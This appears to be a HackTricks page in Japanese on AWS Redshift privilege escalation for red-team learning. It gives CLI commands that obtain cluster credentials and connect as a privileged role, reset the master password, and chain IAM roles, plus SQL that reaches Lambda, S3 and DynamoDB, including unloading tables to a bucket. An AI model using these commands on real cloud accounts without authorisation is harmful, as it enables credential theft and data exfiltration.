AWS - Redshift Privesc

htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学びましょう

HackTricks をサポートする他の方法:

Redshift

RDSに関する詳細情報は次を参照してください:

pageAWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

これらの権限を持つと、すべてのクラスターの情報(名前とクラスターユーザー名を含む)を取得し、それにアクセスするための資格情報を取得できます。

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

潜在的影響: データベース内の機密情報を見つける。

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

これらの権限を持つと、すべてのクラスタの情報を取得し、それにアクセスするための資格情報を取得できます。 ポスグレスユーザーは、資格情報を取得する際に使用されたIAMアイデンティティが持つ権限を持つことに注意してください。

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

潜在的影響: データベース内の機密情報を見つける。

redshift:DescribeClusters, redshift:ModifyCluster?

AWS CLIから内部のpostgres(redshit)ユーザーのマスターパスワードを変更することが可能です(これらが必要な権限だと思いますが、まだテストしていません)。

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

潜在的影響: データベース内の機密情報を見つける。

外部サービスへのアクセス

以下のリソースにアクセスするには、使用するロールを指定する必要があります。Redshiftクラスタには、使用できるAWSロールのリストが割り当てられている場合があります。ARNを知っている場合はそれを使用するか、単にデフォルトの割り当てられたものを使用するために "default" を設定できます。

さらに、こちらで説明されているように、Redshiftはロールを連結することも可能です(最初のロールが2番目のロールを仮定できる場合)。ただし、コンマ区切ることで、さらなるアクセスを取得できます: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.htmlで説明されているように、Redshiftからラムダ関数を呼び出すことが可能です。

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

As explained in https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, S3バケットに読み書きすることが可能です:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.htmlで説明されているように、DynamoDBからデータを取得することが可能です。

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

データを提供するAmazon DynamoDBテーブルは、REGIONオプションを使用して、Amazon DynamoDBテーブルが配置されているAWSリージョンを指定しない限り、クラスタと同じAWSリージョンに作成する必要があります。

EMR

https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.htmlをチェックしてください。

参考文献

htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

最終更新